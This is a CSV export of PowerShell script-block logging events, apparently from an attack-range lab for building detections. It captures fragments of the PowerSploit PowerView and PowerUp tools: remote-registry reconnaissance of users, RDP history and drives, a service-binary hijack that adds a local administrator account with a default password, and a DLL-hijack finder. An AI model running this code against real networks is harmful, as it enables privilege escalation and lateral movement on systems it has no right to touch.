[String[]] $ComputerName = 'localhost', [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) PROCESS { ForEach ($Computer in $ComputerName) { # HKEY_LOCAL_MACHINE $HKLM = 2147483650 $WmiArguments = @{ 'List' = $True 'Class' = 'StdRegProv' 'Namespace' = 'root\default' 'Computername' = $Computer 'ErrorAction' = 'SilentlyContinue' } if ($PSBoundParameters['Credential']) { $WmiArguments['Credential'] = $Credential } # try to open up the remote registry key to grab the last logged on user try { $Reg = Get-WmiObject @WmiArguments $Key = 'SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\LogonUI' $Value = 'LastLoggedOnUser' $LastUser = $Reg.GetStringValue($HKLM, $Key, $Value).sValue $LastLoggedOn = New-Object PSObject $LastLoggedOn | Add-Member Noteproperty 'ComputerName' $Computer $LastLoggedOn | Add-Member Noteproperty 'LastLoggedOn' $LastUser $LastLoggedOn.PSObject.TypeNames.Insert(0, 'PowerView.LastLoggedOnUser') $LastLoggedOn } catch { Write-Warning ""[Get-WMIRegLastLoggedOn] Error opening remote registry on $Computer. Remote registry likely not enabled."" } } } } function Get-WMIRegCachedRDPConnection { <# .SYNOPSIS Returns information about RDP connections outgoing from the local (or remote) machine. Note: This function requires administrative rights on the machine you're enumerating. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: ConvertFrom-SID .DESCRIPTION Uses remote registry functionality to query all entries for the ""Windows Remote Desktop Connection Client"" on a machine, separated by user and target server. .PARAMETER ComputerName Specifies the hostname to query for cached RDP connections (also accepts IP addresses). Defaults to 'localhost'. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connecting to the remote system. .EXAMPLE Get-WMIRegCachedRDPConnection Returns the RDP connection client information for the local machine. .EXAMPLE Get-WMIRegCachedRDPConnection -ComputerName WINDOWS2.testlab.local Returns the RDP connection client information for the WINDOWS2.testlab.local machine .EXAMPLE Get-DomainComputer | Get-WMIRegCachedRDPConnection Returns cached RDP information for all machines in the domain. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Get-WMIRegCachedRDPConnection -ComputerName PRIMARY.testlab.local -Credential $Cred .OUTPUTS PowerView.CachedRDPConnection A PSCustomObject containing the ComputerName and cached RDP information. #> [OutputType('PowerView.CachedRDPConnection')] [CmdletBinding()] Param( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('HostName', 'dnshostname', 'name')] [ValidateNotNullOrEmpty()] [String[]] $ComputerName = 'localhost', [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) PROCESS { ForEach ($Computer in $ComputerName) { # HKEY_USERS $HKU = 2147483651 $WmiArguments = @{ 'List' = $True 'Class' = 'StdRegProv' 'Namespace' = 'root\default' 'Computername' = $Computer 'ErrorAction' = 'Stop' } if ($PSBoundParameters['Credential']) { $WmiArguments['Credential'] = $Credential } try { $Reg = Get-WmiObject @WmiArguments # extract out the SIDs of domain users in this hive $UserSIDs = ($Reg.EnumKey($HKU, '')).sNames | Where-Object { $_ -match 'S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+$' } ForEach ($UserSID in $UserSIDs) { try { if ($PSBoundParameters['Credential']) { $UserName = ConvertFrom-SID -ObjectSid $UserSID -Credential $Credential } else { $UserName = ConvertFrom-SID -ObjectSid $UserSID } # pull out all the cached RDP connections $ConnectionKeys = $Reg.EnumValues($HKU,""$UserSID\Software\Microsoft\Terminal Server Client\Default"").sNames ForEach ($Connection in $ConnectionKeys) { # make sure this key is a cached connection if ($Connection -match 'MRU.*') { $TargetServer = $Reg.GetStringValue($HKU, ""$UserSID\Software\Microsoft\Terminal Server Client\Default"", $Connection).sValue $FoundConnection = New-Object PSObject $FoundConnection | Add-Member Noteproperty 'ComputerName' $Computer $FoundConnection | Add-Member Noteproperty 'UserName' $UserName $FoundConnection | Add-Member Noteproperty 'UserSID' $UserSID $FoundConnection | Add-Member Noteproperty 'TargetServer' $TargetServer $FoundConnection | Add-Member Noteproperty 'UsernameHint' $Null $FoundConnection.PSObject.TypeNames.Insert(0, 'PowerView.CachedRDPConnection') $FoundConnection } } # pull out all the cached server info with username hints $ServerKeys = $Reg.EnumKey($HKU,""$UserSID\Software\Microsoft\Terminal Server Client\Servers"").sNames ForEach ($Server in $ServerKeys) { $UsernameHint = $Reg.GetStringValue($HKU, ""$UserSID\Software\Microsoft\Terminal Server Client\Servers\$Server"", 'UsernameHint').sValue $FoundConnection = New-Object PSObject $FoundConnection | Add-Member Noteproperty 'ComputerName' $Computer $FoundConnection | Add-Member Noteproperty 'UserName' $UserName $FoundConnection | Add-Member Noteproperty 'UserSID' $UserSID $FoundConnection | Add-Member Noteproperty 'TargetServer' $Server $FoundConnection | Add-Member Noteproperty 'UsernameHint' $UsernameHint $FoundConnection.PSObject.TypeNames.Insert(0, 'PowerView.CachedRDPConnection') $FoundConnection } } catch { Write-Verbose ""[Get-WMIRegCachedRDPConnection] Error: $_"" } } } catch { Write-Warning ""[Get-WMIRegCachedRDPConnection] Error accessing $Computer, likely insufficient permissions or firewall rules on host: $_"" } } } } function Get-WMIRegMountedDrive { <# .SYNOPSIS Returns information about saved network mounted drives for the local (or remote) machine. Note: This function requires administrative rights on the machine you're enumerating. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: ConvertFrom-SID .DESCRIPTION Uses remote registry functionality to enumerate recently mounted network drives. .PARAMETER ComputerName Specifies the hostname to query for mounted drive information (also accepts IP addresses). Defaults to 'localhost'. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connecting to the remote system. .EXAMPLE Get-WMIRegMountedDrive Returns the saved network mounted drives for the local machine. .EXAMPLE Get-WMIRegMountedDrive -ComputerName WINDOWS2.testlab.local Returns the saved network mounted drives for the WINDOWS2.testlab.local machine .EXAMPLE Get-DomainComputer | Get-WMIRegMountedDrive Returns the saved network mounted drives for all machines in the domain. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Get-WMIRegMountedDrive -ComputerName PRIMARY.testlab.local -Credential $Cred .OUTPUTS PowerView.RegMountedDrive A PSCustomObject containing the ComputerName and mounted drive information. #> [OutputType('PowerView.RegMountedDrive')] [CmdletBinding()] Param( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('HostName', 'dnshostname', 'name')] [ValidateNotNullOrEmpty()] [String[]] $ComputerName = 'localhost', [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) PROCESS { ForEach ($Computer in $ComputerName) { # HKEY_USERS $HKU = 2147483651 $WmiArguments = @{ 'List' = $True 'Class' = 'StdRegProv' 'Namespace' = 'root\default' 'Computername' = $Computer 'ErrorAction' = 'Stop' } if ($PSBoundParameters['Credential']) { $WmiArguments['Credential'] = $Credential } try { $Reg = Get-WmiObject @WmiArguments # extract out the SIDs of domain users in this hive $UserSIDs = ($Reg.EnumKey($HKU, '')).sNames | Where-Object { $_ -match 'S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+$' } ForEach ($UserSID in $UserSIDs) { try { if ($PSBoundParameters['Credential']) { $UserName = ConvertFrom-SID -ObjectSid $UserSID -Credential $Credential } else { $UserName = ConvertFrom-SID -ObjectSid $UserSID } $DriveLetters = ($Reg.EnumKey($HKU, ""$UserSID\Network"")).sNames ForEach ($DriveLetter in $DriveLetters) { $ProviderName = $Reg.GetStringValue($HKU, ""$UserSID\Network\$DriveLetter"", 'ProviderName').sValue $RemotePath = $Reg.GetStringValue($HKU, ""$UserSID\Network\$DriveLetter"", 'RemotePath').sValue $DriveUserName = $Reg.GetStringValue($HKU, ""$UserSID\Network\$DriveLetter"", 'UserName').sValue if (-not $UserN",,,,,,,,,,,"'2022-05-02T18:24:44.741596400Z'","4104132150x0122634Microsoft-Windows-PowerShell/Operationalwin-dc-mhaag-attack-range-270.attackrange.local",,,,,2,,"'5528'",,,"'S-1-5-21-2059343465-2300599999-2417073716-500'",,1,"4104132150x0122634Microsoft-Windows-PowerShell/Operationalwin-dc-mhaag-attack-range-270.attackrange.local3344 $ComputerSite | Add-Member Noteproperty 'IPAddress' $IPAddress if ($Result -eq 0) { $Sitename = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($PtrInfo) $ComputerSite | Add-Member Noteproperty 'SiteName' $Sitename } else { Write-Verbose ""[Get-NetComputerSiteName] Error: $(([ComponentModel.Win32Exception] $Result).Message)"" $ComputerSite | Add-Member Noteproperty 'SiteName' '' } $ComputerSite.PSObject.TypeNames.Insert(0, 'PowerView.ComputerSite') # free up the result buffer $Null = $Netapi32::NetApiBufferFree($PtrInfo) $ComputerSite } } END { if ($LogonToken) { Invoke-RevertToSelf -TokenHandle $LogonToken } } } function Get-WMIRegProxy { <# .SYNOPSIS Enumerates the proxy server and WPAD conents for the current user. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: None .DESCRIPTION Enumerates the proxy server and WPAD specification for the current user on the local machine (default), or a machine specified with -ComputerName. It does this by enumerating settings from HKU:SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings. .PARAMETER ComputerName Specifies the system to enumerate proxy settings on. Defaults to the local host. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connecting to the remote system. .EXAMPLE Get-WMIRegProxy ComputerName ProxyServer AutoConfigURL Wpad ------------ ----------- ------------- ---- WINDOWS1 http://primary.test... .EXAMPLE $Cred = Get-Credential ""TESTLAB\administrator"" Get-WMIRegProxy -Credential $Cred -ComputerName primary.testlab.local ComputerName ProxyServer AutoConfigURL Wpad ------------ ----------- ------------- ---- windows1.testlab.local primary.testlab.local .INPUTS String Accepts one or more computer name specification strings on the pipeline (netbios or FQDN). .OUTPUTS PowerView.ProxySettings Outputs custom PSObjects with the ComputerName, ProxyServer, AutoConfigURL, and WPAD contents. #> [OutputType('PowerView.ProxySettings')] [CmdletBinding()] Param( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('HostName', 'dnshostname', 'name')] [ValidateNotNullOrEmpty()] [String[]] $ComputerName = $Env:COMPUTERNAME, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) PROCESS { ForEach ($Computer in $ComputerName) { try { $WmiArguments = @{ 'List' = $True 'Class' = 'StdRegProv' 'Namespace' = 'root\default' 'Computername' = $Computer 'ErrorAction' = 'Stop' } if ($PSBoundParameters['Credential']) { $WmiArguments['Credential'] = $Credential } $RegProvider = Get-WmiObject @WmiArguments $Key = 'SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings' # HKEY_CURRENT_USER $HKCU = 2147483649 $ProxyServer = $RegProvider.GetStringValue($HKCU, $Key, 'ProxyServer').sValue $AutoConfigURL = $RegProvider.GetStringValue($HKCU, $Key, 'AutoConfigURL').sValue $Wpad = '' if ($AutoConfigURL -and ($AutoConfigURL -ne '')) { try { $Wpad = (New-Object Net.WebClient).DownloadString($AutoConfigURL) } catch { Write-Warning ""[Get-WMIRegProxy] Error connecting to AutoConfigURL : $AutoConfigURL"" } } if ($ProxyServer -or $AutoConfigUrl) { $Out = New-Object PSObject $Out | Add-Member Noteproperty 'ComputerName' $Computer $Out | Add-Member Noteproperty 'ProxyServer' $ProxyServer $Out | Add-Member Noteproperty 'AutoConfigURL' $AutoConfigURL $Out | Add-Member Noteproperty 'Wpad' $Wpad $Out.PSObject.TypeNames.Insert(0, 'PowerView.ProxySettings') $Out } else { Write-Warning ""[Get-WMIRegProxy] No proxy settings found for $ComputerName"" } } catch { Write-Warning ""[Get-WMIRegProxy] Error enumerating proxy settings for $ComputerName : $_"" } } } } function Get-WMIRegLastLoggedOn { <# .SYNOPSIS Returns the last user who logged onto the local (or a remote) machine. Note: This function requires administrative rights on the machine you're enumerating. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: None .DESCRIPTION This function uses remote registry to enumerate the LastLoggedOnUser registry key for the local (or remote) machine. .PARAMETER ComputerName Specifies the hostname to query for remote registry values (also accepts IP addresses). Defaults to 'localhost'. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connecting to the remote system. .EXAMPLE Get-WMIRegLastLoggedOn Returns the last user logged onto the local machine. .EXAMPLE Get-WMIRegLastLoggedOn -ComputerName WINDOWS1 Returns the last user logged onto WINDOWS1 .EXAMPLE Get-DomainComputer | Get-WMIRegLastLoggedOn Returns the last user logged onto all machines in the domain. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Get-WMIRegLastLoggedOn -ComputerName PRIMARY.testlab.local -Credential $Cred .OUTPUTS PowerView.LastLoggedOnUser A PSCustomObject containing the ComputerName and last loggedon user. #> [OutputType('PowerView.LastLoggedOnUser')] [CmdletBinding()] Param( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('HostName', 'dnshostname', 'name')] [ValidateNotNullOrEmpty()] [String[]] $ComputerName = 'localhost', [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) PROCESS { ForEach ($Computer in $ComputerName) { # HKEY_LOCAL_MACHINE $HKLM = 2147483650 $WmiArguments = @{ 'List' = $True 'Class' = 'StdRegProv' 'Namespace' = 'root\default' 'Computername' = $Computer 'ErrorAction' = 'SilentlyContinue' } if ($PSBoundParameters['Credential']) { $WmiArguments['Credential'] = $Credential } # try to open up the remote registry key to grab the last logged on user try { $Reg = Get-WmiObject @WmiArguments $Key = 'SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\LogonUI' $Value = 'LastLoggedOnUser' $LastUser = $Reg.GetStringValue($HKLM, $Key, $Value).sValue $LastLoggedOn = New-Object PSObject $LastLoggedOn | Add-Member Noteproperty 'ComputerName' $Computer $LastLoggedOn | Add-Member Noteproperty 'LastLoggedOn' $LastUser $LastLoggedOn.PSObject.TypeNames.Insert(0, 'PowerView.LastLoggedOnUser') $LastLoggedOn } catch { Write-Warning ""[Get-WMIRegLastLoggedOn] Error opening remote registry on $Computer. Remote registry likely not enabled."" } } } } function Get-WMIRegCachedRDPConnection { <# .SYNOPSIS Returns information about RDP connections outgoing from the local (or remote) machine. Note: This function requires administrative rights on the machine you're enumerating. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: ConvertFrom-SID .DESCRIPTION Uses remote registry functionality to query all entries for the ""Windows Remote Desktop Connection Client"" on a machine, separated by user and target server. .PARAMETER ComputerName Specifies the hostname to query for cached RDP connections (also accepts IP addresses). Defaults to 'localhost'. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connecting to the remote system. .EXAMPLE Get-WMIRegCachedRDPConnection Returns the RDP connection client information for the local machine. .EXAMPLE Get-WMIRegCachedRDPConnection -ComputerName WINDOWS2.testlab.local Returns the RDP connection client information for the WINDOWS2.testlab.local machine .EXAMPLE Get-DomainComputer | Get-WMIRegCachedRDPConnection Returns cached RDP information for all machines in the domain. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Get-WMIRegCachedRDPConnection -ComputerName PRIMARY.testlab.local -Credential $Cred .OUTPUTS PowerView.CachedRDPConnection A PSCustomObject containing the ComputerName and cached RDP information. #> [OutputType('PowerView.CachedRDPConnection')] [CmdletBinding()] Param( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('HostName', 'dnshostname', 'name')] [ValidateNotNullOrEmpty()] [String[]] $ComputerName = 'localhost', [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) PROCESS { ForEach ($Computer in $ComputerName) { # HKEY_USERS $HKU = 2147483651 $WmiArguments = @{ 'List' = $True 'Class' = 'StdRegProv' 'Namespace' = 'root\default' 'Computername' = $Computer 'ErrorAction' = 'Stop' } if ($PSBoundParameters['Credential']) { $WmiArguments['Credential'] = $Credential } try { $Reg = Get-WmiObject @WmiArguments # extract out the SIDs of domain users in this hive $UserSIDs = ($Reg.EnumKey($HKU, '')).sNames | Where-Object { $_ -match 'S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+$' } ForEach ($UserSID in $UserSIDs) { try { if ($PSBoundParameters['Credential']) { $UserName = ConvertFrom-SID -ObjectSid $UserSID -Credential $Credential } else { $UserName = ConvertFrom-SID -ObjectSid $UserSID } # pull out all the cached RDP connections $ConnectionKeys = $Reg.EnumValues($HKU,""$UserSID\Software\Microsoft\Terminal Server Client\Default"").sNames ForEach ($Connection in $ConnectionKeys) { # make sure this key is a cached connection if ($Connection -match 'MRU.*') { $TargetServer = $Reg.GetStringValue($HKU, ""$UserSID\Software\Microsoft\Terminal Server Client\Default"", $Connection).sValue $FoundConnection = New-Object PSObject $FoundConnection | Add-Member Noteproperty 'ComputerName' $Computer $FoundConnection | Add-Member Noteproperty 'UserName' $UserName $FoundConnection | Add-Member Noteproperty 'UserSID' $UserSID $FoundConnection | Add-Member Noteproperty 'TargetServer' $TargetServer $FoundConnection | Add-Member Noteproperty 'UsernameHint' $Null $FoundConnection.PSObject.TypeNames.Insert(0, 'PowerView.CachedRDPConnection') $FoundConnection } } # pull out all the cached server info with username hints $ServerKeys = $Reg.EnumKey($HKU,""$UserSID\Software\Microsoft\Terminal Server Client\Servers"").sNames ForEach ($Server in $ServerKeys) { $UsernameHint = $Reg.GetStringValue($HKU, ""$UserSID\Software\Microsoft\Terminal Server Client\Servers\$Server"", 'UsernameHint').sValue $FoundConnection = New-Object PSObject $FoundConnection | Add-Member Noteproperty 'ComputerName' $Computer $FoundConnection | Add-Member Noteproperty 'UserName' $UserName $FoundConnection | Add-Member Noteproperty 'UserSID' $UserSID $FoundConnection | Add-Member Noteproperty 'TargetServer' $Server $FoundConnection | Add-Member Noteproperty 'UsernameHint' $UsernameHint $FoundConnection.PSObject.TypeNames.Insert(0, 'PowerView.CachedRDPConnection') $FoundConnection } } catch { Write-Verbose ""[Get-WMIRegCachedRDPConnection] Error: $_"" } } } catch { Write-Warning ""[Get-WMIRegCachedRDPConnection] Error accessing $Computer, likely insufficient permissions or firewall rules on host: $_"" } } } } function Get-WMIRegMountedDrive { <# .SYNOPSIS Returns information about saved network mounted drives for the local (or remote) machine. Note: This function requires administrative rights on the machine you're enumerating. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: ConvertFrom-SID .DESCRIPTION Uses remote registry functionality to enumerate recently mounted network drives. .PARAMETER ComputerName Specifies the hostname to query for mounted drive information (also accepts IP addresses). Defaults to 'localhost'. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connecting to the remote system. .EXAMPLE Get-WMIRegMountedDrive Returns the saved network mounted drives for the local machine. .EXAMPLE Get-WMIRegMountedDrive -ComputerName WINDOWS2.testlab.local Returns the saved network mounted drives for the WINDOWS2.testlab.local machine .EXAMPLE Get-DomainComputer | Get-WMIRegMountedDrive Returns the saved network mounted drives for all machines in the domain. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Get-WMIRegMountedDrive -ComputerName PRIMARY.testlab.local -Credential $Cred .OUTPUTS PowerView.RegMountedDrive A PSCustomObject containing the ComputerName and mounted drive information. #> [OutputType('PowerView.RegMountedDrive')] [CmdletBinding()] Param( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('HostName', 'dnshostname', 'name')] [ValidateNotNullOrEmpty()] [String[]] $ComputerName = 'localhost', [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) PROCESS { ForEach ($Computer in $ComputerName) { # HKEY_USERS $HKU = 2147483651 $WmiArguments = @{ 'List' = $True 'Class' = 'StdRegProv' 'Namespace' = 'root\default' 'Computername' = $Computer 'ErrorAction' = 'Stop' } if ($PSBoundParameters['Credential']) { $WmiArguments['Credential'] = $Credential } try { $Reg = Get-WmiObject @WmiArguments # extract out the SIDs of domain users in this hive $UserSIDs = ($Reg.EnumKey($HKU, '')).sNames | Where-Object { $_ -match 'S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+$' } ForEach ($UserSID in $UserSIDs) { try { if ($PSBoundParameters['Credential']) { $UserName = ConvertFrom-SID -ObjectSid $UserSID -Credential $Credential } else { $UserName = ConvertFrom-SID -ObjectSid $UserSID } $DriveLetters = ($Reg.EnumKey($HKU, ""$UserSID\Network"")).sNames ForEach ($DriveLetter in $DriveLetters) { $ProviderName = $Reg.GetStringValue($HKU, ""$UserSID\Network\$DriveLetter"", 'ProviderName').sValue $RemotePath = $Reg.GetStringValue($HKU, ""$UserSID\Network\$DriveLetter"", 'RemotePath').sValue $DriveUserName = $Reg.GetStringValue($HKU, ""$UserSID\Network\$DriveLetter"", 'UserName').sValue if (-not $UserNe66f2c62-841c-43ba-a30f-4c6c2ffc9eadC:\Users\Administrator\Downloads\PowerSploit-master\PowerSploit-master\Recon\PowerView.ps1","2022-05-02T18:24:44.000+0000",,,,,,,,,,,,,"win-dc-mhaag-attack-range-270.attackrange.local",,"WIN-DC-MHAAG-AT",122634,"endpoint_services_processes err0r nix_errors windows_event_signature",,,,,,,,"WIN-DC-MHAAG-AT",,,122634,win,514,,,,,,,,,,,,,,,,,,,,,,,,,,,"<_='://../////'><><_='--'_='{----}'/><><><><",,,,,,,,,,,,,,,,,,,,,4104,"XmlWinEventLog:Microsoft-Windows-PowerShell/Operational",XmlWinEventLog,"splunk-server-mhaag-attack-range-3271",,,,,,,,,,,,"error track_event_signatures",,,"error track_event_signatures",,,,,,,,,,,"'S-1-5-21-2059343465-2300599999-2417073716-500'",,"Microsoft Windows" "'{7B7F4240-5E23-0005-4E66-7F7B235ED801}'",,,"Microsoft-Windows-PowerShell/Operational",,,,"win-dc-mhaag-attack-range-270.attackrange.local",,,,,,,4104,"1356iceName')] [String] [ValidateNotNullOrEmpty()] $Name, [String] $UserName = 'john', [String] $Password = 'Password123!', [String] $LocalGroup = 'Administrators', [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty, [String] [ValidateNotNullOrEmpty()] $Command ) BEGIN { if ($PSBoundParameters['Command']) { $ServiceCommand = $Command } else { if ($PSBoundParameters['Credential']) { $UserNameToAdd = $Credential.UserName $PasswordToAdd = $Credential.GetNetworkCredential().Password } else { $UserNameToAdd = $UserName $PasswordToAdd = $Password } if ($UserNameToAdd.Contains('\')) { # only adding a domain user to the local group, no user creation $ServiceCommand = ""net localgroup $LocalGroup $UserNameToAdd /add"" } else { # create a local user and add it to the local specified group $ServiceCommand = ""net user $UserNameToAdd $PasswordToAdd /add && timeout /t 5 && net localgroup $LocalGroup $UserNameToAdd /add"" } } } PROCESS { $TargetService = Get-Service -Name $Name -ErrorAction Stop $ServiceDetails = $TargetService | Get-ServiceDetail $ModifiableFiles = $ServiceDetails.PathName | Get-ModifiablePath -Literal if (-not $ModifiableFiles) { throw ""Service binary '$($ServiceDetails.PathName)' for service $($ServiceDetails.Name) not modifiable by the current user."" } $ServicePath = $ModifiableFiles | Select-Object -First 1 | Select-Object -ExpandProperty ModifiablePath $BackupPath = ""$($ServicePath).bak"" Write-Verbose ""Backing up '$ServicePath' to '$BackupPath'"" try { Copy-Item -Path $ServicePath -Destination $BackupPath -Force } catch { Write-Warning ""Error backing up '$ServicePath' : $_"" } $Result = Write-ServiceBinary -Name $ServiceDetails.Name -Command $ServiceCommand -Path $ServicePath $Result | Add-Member Noteproperty 'BackupPath' $BackupPath $Result.PSObject.TypeNames.Insert(0, 'PowerUp.ServiceBinary.Installed') $Result } } function Restore-ServiceBinary { <# .SYNOPSIS Restores a service binary backed up by Install-ServiceBinary. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-ServiceDetail, Get-ModifiablePath .DESCRIPTION Takes a service Name or a ServiceProcess.ServiceController on the pipeline and checks for the existence of an ""OriginalServiceBinary.exe.bak"" in the service binary location. If it exists, the backup binary is restored to the original binary path. .PARAMETER Name The service name to restore a binary for. .PARAMETER BackupPath Optional manual path to the backup binary. .EXAMPLE Restore-ServiceBinary -Name VulnSVC Restore the original binary for the service 'VulnSVC'. .EXAMPLE Get-Service VulnSVC | Restore-ServiceBinary Restore the original binary for the service 'VulnSVC'. .EXAMPLE Restore-ServiceBinary -Name VulnSVC -BackupPath 'C:\temp\backup.exe' Restore the original binary for the service 'VulnSVC' from a custom location. .OUTPUTS PowerUp.ServiceBinary.Installed #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('PowerUp.ServiceBinary.Restored')] [CmdletBinding()] Param( [Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('ServiceName')] [String] [ValidateNotNullOrEmpty()] $Name, [Parameter(Position = 1)] [ValidateScript({Test-Path -Path $_ })] [String] $BackupPath ) PROCESS { $TargetService = Get-Service -Name $Name -ErrorAction Stop $ServiceDetails = $TargetService | Get-ServiceDetail $ModifiableFiles = $ServiceDetails.PathName | Get-ModifiablePath -Literal if (-not $ModifiableFiles) { throw ""Service binary '$($ServiceDetails.PathName)' for service $($ServiceDetails.Name) not modifiable by the current user."" } $ServicePath = $ModifiableFiles | Select-Object -First 1 | Select-Object -ExpandProperty ModifiablePath $BackupPath = ""$($ServicePath).bak"" Copy-Item -Path $BackupPath -Destination $ServicePath -Force Remove-Item -Path $BackupPath -Force $Out = New-Object PSObject $Out | Add-Member Noteproperty 'ServiceName' $ServiceDetails.Name $Out | Add-Member Noteproperty 'ServicePath' $ServicePath $Out | Add-Member Noteproperty 'BackupPath' $BackupPath $Out.PSObject.TypeNames.Insert(0, 'PowerUp.ServiceBinary.Restored') $Out } } ######################################################## # # DLL Hijacking # ######################################################## function Find-ProcessDLLHijack { <# .SYNOPSIS Finds all DLL hijack locations for currently running processes. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: None .DESCRIPTION Enumerates all currently running processes with Get-Process (or accepts an input process object from Get-Process) and enumerates the loaded modules for each. All loaded module name exists outside of the process binary base path, as those are DLL load-order hijack candidates. .PARAMETER Name The name of a process to enumerate for possible DLL path hijack opportunities. .PARAMETER ExcludeWindows Exclude paths from C:\Windows\* instead of just C:\Windows\System32\* .PARAMETER ExcludeProgramFiles Exclude paths from C:\Program Files\* and C:\Program Files (x86)\* .PARAMETER ExcludeOwned Exclude processes the current user owns. .EXAMPLE Find-ProcessDLLHijack Finds possible hijackable DLL locations for all processes. .EXAMPLE Get-Process VulnProcess | Find-ProcessDLLHijack Finds possible hijackable DLL locations for the 'VulnProcess' processes. .EXAMPLE Find-ProcessDLLHijack -ExcludeWindows -ExcludeProgramFiles Finds possible hijackable DLL locations not in C:\Windows\* and not in C:\Program Files\* or C:\Program Files (x86)\* .EXAMPLE Find-ProcessDLLHijack -ExcludeOwned Finds possible hijackable DLL location for processes not owned by the current user. .OUTPUTS PowerUp.HijackableDLL.Process .LINK https://www.mandiant.com/blog/malware-persistence-windows-registry/ #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('PowerUp.HijackableDLL.Process')] [CmdletBinding()] Param( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('ProcessName')] [String[]] $Name = $(Get-Process | Select-Object -Expand Name), [Switch] $ExcludeWindows, [Switch] $ExcludeProgramFiles, [Switch] $ExcludeOwned ) BEGIN { # the known DLL cache to exclude from our findings # http://blogs.msdn.com/b/larryosterman/archive/2004/07/19/187752.aspx $Keys = (Get-Item ""HKLM:\System\CurrentControlSet\Control\Session Manager\KnownDLLs"") $KnownDLLs = $(ForEach ($KeyName in $Keys.GetValueNames()) { $Keys.GetValue($KeyName).tolower() }) | Where-Object { $_.EndsWith("".dll"") } $KnownDLLPaths = $(ForEach ($name in $Keys.GetValueNames()) { $Keys.GetValue($name).tolower() }) | Where-Object { -not $_.EndsWith("".dll"") } $KnownDLLs += ForEach ($path in $KnownDLLPaths) { ls -force $path\*.dll | Select-Object -ExpandProperty Name | ForEach-Object { $_.tolower() }} $CurrentUser = [System.Security.Principal.WindowsIdentity]::GetCurrent().Name # get the owners for all processes $Owners = @{} Get-WmiObject -Class win32_process | Where-Object {$_} | ForEach-Object { $Owners[$_.handle] = $_.getowner().user } } PROCESS { ForEach ($ProcessName in $Name) { $TargetProcess = Get-Process -Name $ProcessName if ($TargetProcess -and $TargetProcess.Path -and ($TargetProcess.Path -ne '') -and ($Null -ne $TargetProcess.Path)) { try { $BasePath = $TargetProcess.Path | Split-Path -Parent $LoadedModules = $TargetProcess.Modules $ProcessOwner = $Owners[$TargetProcess.Id.ToString()] ForEach ($Module in $LoadedModules){ $ModulePath = ""$BasePath\$($Module.ModuleName)"" # if the module path doesn't exist in the process base path folder if ((-not $ModulePath.Contains('C:\Windows\System32')) -and (-not (Test-Path -Path $ModulePath)) -and ($KnownDLLs -NotContains $Module.ModuleName)) { $Exclude = $False if 